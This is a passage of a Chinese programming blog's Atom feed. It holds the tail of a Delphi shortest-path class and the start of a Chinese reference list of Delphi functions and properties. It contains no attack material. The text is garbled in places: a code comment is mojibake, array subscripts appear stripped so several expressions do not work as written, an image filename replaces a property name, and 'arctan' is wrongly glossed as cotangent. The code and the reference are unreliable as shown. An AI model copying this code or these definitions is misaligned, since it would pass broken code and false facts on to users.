begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for i := low(tempnodes) to high(tempnodes) do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if pos(inttostr(tempnodes), templineinfos[j].TFNLT) &gt; 0<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for kk := low(templineinfos) to high(templineinfos) do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if templineinfos[kk].MTNode = tempnodes then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; templineinfos[kk].length := 1E+30;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if preresultNodes[tempnode] = templineinfos[j].MFNode then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for i := low(tempnodes) to high(tempnodes) do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if pos(inttostr(tempnodes), templineinfos[j].FTNLT) &gt; 0<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for kk := low(templineinfos) to high(templineinfos) do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if templineinfos[kk].MFNode = tempnodes then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; templineinfos[kk].length := 1E+30;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //Çó½â×îÓÅÂ·¾¶<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for j := low(tempnodes) to high(tempnodes) do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XLtempnode := tempnodes[j];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; s := templineinfos[j].length + tempAdistance[tempnode];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if MTop[XLtempnode].YCflag then continue;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if MTop[XLtempnode].JGflag then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if tempAdistance[XLtempnode] &gt;= s then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tempAdistance[XLtempnode] := s;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; preresultNodes[XLtempnode] := tempnode;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; continue;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MTop[XLtempnode].JGflag := true;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tempAdistance[XLtempnode] := s;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; preresultNodes[XLtempnode] := tempnode;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc(k);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (k &gt; length(no)) then setlength(no, length(no) + 500);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; no[k - 1] := XLtempnode;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; min := 1E+30;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; minpoint := 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for i := aa to k - 1 do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if min &gt; tempAdistance[no] then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ii := i;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; min := tempAdistance[no];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; minpoint := no;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if min &gt;= 1E+30 then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; result := false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; no[ii] := no[aa];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; no[aa] := minpoint;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MTop[minpoint].YCflag := true;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tempnode := minpoint;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if tempnode = endnode then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; distance := tempAdistance[endnode];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setlength(Anodes, 100);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Anodes[0] := endnode;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i := 1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while preresultNodes[endnode] &lt;&gt; 0 do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc(i);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if length(Anodes) &lt; i then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setlength(Anodes, length(Anodes) + 100);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Anodes[i - 1] := preresultNodes[endnode];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; endnode := preresultNodes[endnode];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setlength(Anodes, i);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp; end;<BR>end;</P>
<P>function Tshortpath.GetNodeAdjLines(NodeFID: integer;<BR>&nbsp; var AdjLines: Arraylineinfo): boolean;<BR>var<BR>&nbsp; pEdge: pTEdge;<BR>&nbsp; numLine: integer;</P>
<P>begin<BR>&nbsp; numLine := 0;<BR>&nbsp; pEdge := mTop[NodeFID];<BR>&nbsp; while pEdge &lt;&gt; nil do<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setlength(AdjLines, numLine + 1);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AdjLines[numLine] := pEdge.lineinfo;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc(numLine);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pEdge := pEdge.pNext;<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; if numLine &gt; 0 then<BR>&nbsp;&nbsp;&nbsp; result := True<BR>&nbsp; else<BR>&nbsp;&nbsp;&nbsp; result := False;<BR>end;</P>
<P>function Tshortpath.GetNodeAdjNodes(NodeFID: integer;<BR>&nbsp; var AdjNodes: ArrayInteger): boolean;<BR>var<BR>&nbsp; pEdge: pTEdge;<BR>&nbsp; numNode: integer;<BR>begin<BR>&nbsp; numNode := 0;<BR>&nbsp; pEdge := mTop[NodeFID];<BR>&nbsp; while pEdge &lt;&gt; nil do<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setlength(AdjNodes, numNode + 1);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AdjNodes[numNode] := pEdge.AnotherNode;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc(numNode);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pEdge := pEdge.pNext;<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; if numNode &gt; 0 then<BR>&nbsp;&nbsp;&nbsp; result := True<BR>&nbsp; else<BR>&nbsp;&nbsp;&nbsp; result := False;<BR>end;</P>
<P>function Tshortpath.GetNodeAdjNodesLines(NodeFID: integer;<BR>&nbsp; var AdjNodes: ArrayInteger; var AdjLines: Arraylineinfo): boolean;</P>
<P>var<BR>&nbsp; pEdge: pTEdge;<BR>&nbsp; numNode: integer;<BR>begin<BR>&nbsp; numNode := 0;<BR>&nbsp; pEdge := mTop[NodeFID];<BR>&nbsp; while pEdge &lt;&gt; nil do<BR>&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setlength(AdjNodes, numNode + 1);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setlength(AdjLines, numNode + 1);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AdjNodes[numNode] := pEdge.AnotherNode;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AdjLines[numNode] := pEdge.lineinfo;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc(numNode);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pEdge := pEdge.pNext;<BR>&nbsp;&nbsp;&nbsp; end;<BR>&nbsp; if numNode &gt; 0 then<BR>&nbsp;&nbsp;&nbsp; result := True<BR>&nbsp; else<BR>&nbsp;&nbsp;&nbsp; result := False;<BR>end;</P>
<P>end.<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=172" /> 
	  <id>http://www.openx.cn/default.asp?id=172</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[delphi函数参考手册]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-12-05T14:50:53+08:00</updated>
	  <published>2005-12-05T14:50:53+08:00</published>
		  <summary type="html"><![CDATA[<P>名称 类型 说明&nbsp; <BR>abort 函数 引起放弃的意外处理&nbsp; <BR>abs 函数 绝对值函数&nbsp; <BR>addexitproc 函数 将一过程添加到运行时库的结束过程表中&nbsp; <BR>addr 函数 返回指定对象的地址&nbsp; <BR>adjustlinebreaks 函数 将给定字符串的行分隔符调整为cr/lf序列&nbsp; <BR>align 属性 使控件位于窗口某部分&nbsp; <BR>alignment 属性 控件标签的文字位置&nbsp; <BR>allocmem 函数 在堆栈上分配给定大小的块&nbsp; <BR>allowgrayed 属性 允许一个灰度选择&nbsp; <BR>ansicomparestr 函数 比较字符串（区分大小写）&nbsp; <BR>ansicomparetext 函数 比较字符串（不区分大小写）&nbsp; <BR>ansilowercase 函数 将字符转换为小写&nbsp; <BR>ansiuppercase 函数 将字符转换为大写&nbsp; <BR>append 函数 以附加的方式打开已有的文件&nbsp; <BR>arctan 函数 余切函数&nbsp; <BR>assignfile 函数 给文件变量赋一外部文件名&nbsp; <BR>assigned 函数 测试函数或过程变量是否为空&nbsp; <BR>autosize 属性 自动控制标签的大小&nbsp; <BR>backgrounddi2001.jpg 属性 背景色&nbsp; <BR>beginthread 函数 以适当的方式建立用于内存管理的线程&nbsp; <BR>bevelinner 属性 控件方框的内框方式&nbsp; <BR>bevelouter 属性 控件方框的外框方式&nbsp; <BR>bevelwidth 属性 控件方框的外框宽度&nbsp; <BR>blockread 函数 读一个或多个记录到变量中&nbsp; <BR>blockwrite 函数 从变量中写一个或多个记录&nbsp; <BR>borderstyle 属性 边界类型&nbsp; <BR>borderwidth 属性 边界宽度&nbsp; <BR>break 命令 终止for、while、repeat循环语句&nbsp; <BR>brush 属性 画刷&nbsp; <BR>caption 属性 标签文字的内容&nbsp; <BR>changefileext 函数 改变文件的后缀&nbsp; <BR>chdir 函数 改变当前目录&nbsp; <BR>checked 属性 确定复选框选中状态&nbsp; <BR>chr 函数 返回指定序数的字符&nbsp; <BR>closefile 命令 关闭打开的文件&nbsp; <BR>color 属性 标签的颜色&nbsp; <BR>columns 属性 显示的列数&nbsp; <BR>comparestr 函数 比较字符串（区分大小写）&nbsp; <BR>concat 函数 合并字符串&nbsp; <BR>continue 命令 继续for、while、repeat的下一个循环&nbsp; <BR>copy 函数 返回一字符串的子串&nbsp; <BR>cos 函数 余弦函数&nbsp; <BR>ctl3d 属性 是否具有3d效果&nbsp; <BR>cursor 属性 鼠标指针移入后的形状&nbsp; <BR>date 函数 返回当前的日期&nbsp; <BR>datetimetofiledate 函数 将delphi的日期格式转换为dos的日期格式&nbsp; <BR>datetimetostr 函数 将日期时间格式转换为字符串&nbsp; <BR>datetimetostring 函数 将日期时间格式转换为字符串&nbsp; <BR>datetostr 函数 将日期格式转换为字符串&nbsp; <BR>dayofweek 函数 返回星期的数值&nbsp; <BR>dec 函数 递减变量值&nbsp; <BR>decodedate 函数 将日期格式分解为年月日&nbsp; <BR>decodetime 函数 将时间格式分解为时、分、秒、毫秒&nbsp; <BR>delete 函数 从字符串中删除子串&nbsp; <BR>deletefile 命令 删除文件&nbsp; <BR>diskfree 函数 返回剩余磁盘空间的大小&nbsp; <BR>disksize 函数 返回指定磁盘的容量&nbsp; <BR>dispose 函数 释放动态变量所占的空间&nbsp; <BR>disposestr 函数 释放字符串在堆栈中的内存空间&nbsp; <BR>ditherbackgrounddi2001.jpg?使背景色的色彩加重或减少50%&nbsp; <BR>dragcursor 属性 当鼠标按下时光标的形状&nbsp; <BR>dragmode 属性 按动的作用方式&nbsp; <BR>dropdowncount 属性 容许的显示数据项的数目&nbsp; <BR>editmask 属性 编辑模式&nbsp; <BR>enabled 属性 是否使标签呈现打开状态&nbsp; <BR>encodedate 函数 将年月日合成为日期格式&nbsp; <BR>encodetime 函数 将时、分、秒、毫秒合成为时间格式&nbsp; <BR>endmargin 属性 末尾边缘&nbsp; <BR>eof 函数 对有类型或无类型文件测试是否到文件尾&nbsp; <BR>eoln 函数 返回文本文件的行结束状态&nbsp; <BR>erase 命令 删除外部文件&nbsp; <BR>exceptaddr 函数 返回引起当前意外的地址&nbsp; <BR>exclude 函数 从集合中删除一些元素&nbsp; <BR>exceptobject 函数 返回当前意外的索引&nbsp; <BR>exit 命令 立即从当前的语句块中退出&nbsp; <BR>exp 函数 指数函数&nbsp; <BR>expandfilename 函数 返回包含绝对路径的字符串&nbsp; <BR>extendedselect 属性 是否允许存在选择模式，true时，multiselect才有意义&nbsp; <BR>extractfiledir 函数 返回驱动器和路径&nbsp; <BR>extractfileext 函数 返回文件的后缀&nbsp; <BR>extractfilename 函数 返回文件名&nbsp; <BR>extractfilepath 函数 返回指定文件的路径&nbsp; <BR>fileage 函数 返回文件已存在的时间&nbsp; <BR>fileclose 命令 关闭指定的文件&nbsp; <BR>filecreate 命令 用指定的文件名建立新文件&nbsp; <BR>filedatetodatetime 函数 将dos的日期格式转换为delphi的日期格式&nbsp; <BR>fileexists 函数 检查文件是否存在&nbsp; <BR>filegatattr 函数 返回文件的属性&nbsp; <BR>filegetdate 函数 返回文件的dos日期时间标记&nbsp; <BR>fileopen 命令 用指定的存取模式打开指定的文件&nbsp; <BR>filepos 函数 返回文件的当前指针位置&nbsp; <BR>fileread 命令 从指定的文件读取&nbsp; <BR>filesearch 命令 在目录中搜索指定的文件&nbsp; <BR>fileseek 函数 改变文件的指针&nbsp; <BR>filesetattr 函数 设置文件属性&nbsp; <BR>filesetdate 函数 设置文件的dos日期时间标记&nbsp; <BR>filesize 函数 返回当前文件的大小&nbsp; <BR>filewrite 函数 对指定的文件做写操作&nbsp; <BR>fillchar 函数 用指定的值填充连续字节的数&nbsp; <BR>findclose 命令 终止findfirst/findnext序列&nbsp; <BR>findfirst 命令 对指定的文件名及属性搜索目录&nbsp; <BR>findnext 命令 返回与文件名及属性匹配的下一入口&nbsp; <BR>floattodecimal 函数 将浮点数转换为十进制数&nbsp; <BR>floattostrf 函数 将浮点数转换为字符串&nbsp; <BR>floattostr 函数 将浮点数转换为字符串&nbsp; <BR>floattotext 函数 将给定的浮点数转换为十进制数&nbsp; <BR>floattotextfmt 函数 将给定的浮点数转换为十进制数&nbsp; <BR>flush 函数 将缓冲区的内容刷新到输出的文本文件中&nbsp; <BR>fmtloadstr 函数 从程序的资源字符串表中装载字符串&nbsp; <BR>fmtstr 函数 格式化一系列的参数，其结果以参数result返回&nbsp; <BR>font 属性 设置字体&nbsp; <BR>format 函数 格式化一系列的参数并返回pascal字符串&nbsp; <BR>formatbuf 函数 格式化一系列的参数&nbsp; <BR>formatdatetime 函数 用指定的格式来格式化日期和时间&nbsp; <BR>formatfloat 函数 指定浮点数格式&nbsp; <BR>frac 函数 返回参数的小数部分&nbsp; <BR>freemem 函数 按给定大小释放动态变量所占的空间&nbsp; <BR>getdir 返回指定驱动器的当前目录&nbsp; <BR>getheapstatus 返回内存管理器的当前状态&nbsp; <BR>getmem 建立一指定大小的动态变量，并将指针指向该处&nbsp; <BR>getmemorymanager 返回内存管理器的入口点&nbsp; <BR>glyph 函数 按钮上的图象&nbsp; <BR>halt 停止程序的执行并返回到操作系统&nbsp; <BR>hi 返回参数的高地址位&nbsp; <BR>high 返回参数的上限值&nbsp; <BR>hint 属性 提示信息&nbsp; <BR>int 返回参数的整数部分&nbsp; <BR>include 添加元素到集合中&nbsp; <BR>insert 在字符串中插入子串&nbsp; <BR>inttohex 将整型数转换为十六进制数&nbsp; <BR>inttostr 将整型数转换为字符串&nbsp; <BR>ioresult 返回最新的i/o操作完成状态&nbsp; <BR>isvalidident 测试字符串是否为有效的标识符&nbsp; <BR>items 属性 默认显示的节点&nbsp; <BR>kind 属性 摆放样式&nbsp; <BR>largechange 属性 最大改变值&nbsp; <BR>layout 属性 图象布局&nbsp; <BR>length 函数 返回字符串的动态长度&nbsp; <BR>lines 属性 缺省显示内容&nbsp; <BR>ln 函数 自然对数函数&nbsp; <BR>lo 函数 返回参数的低地址位&nbsp; <BR>loadstr 函数 从应用程序的可执行文件中装载字符资源&nbsp; <BR>lowercase 函数 将给定的字符串变为小写&nbsp; <BR>low 函数 返回参数的下限值&nbsp; <BR>max 属性 最大值&nbsp; <BR>maxlength 属性 最大长度&nbsp; <BR>min 属性 最小值&nbsp; <BR>mkdir 命令 建立一子目录&nbsp; <BR>move 函数 从源到目标复制字节&nbsp; <BR>multiselect 属性 允许同时选择几个数据项&nbsp; <BR>name 属性 控件的名字&nbsp; <BR>new 函数 建立新的动态变量并设置一指针变量指向他&nbsp; <BR>newstr 函数 在堆栈上分配新的字符串&nbsp; <BR>now 函数 返回当前的日期和时间&nbsp; 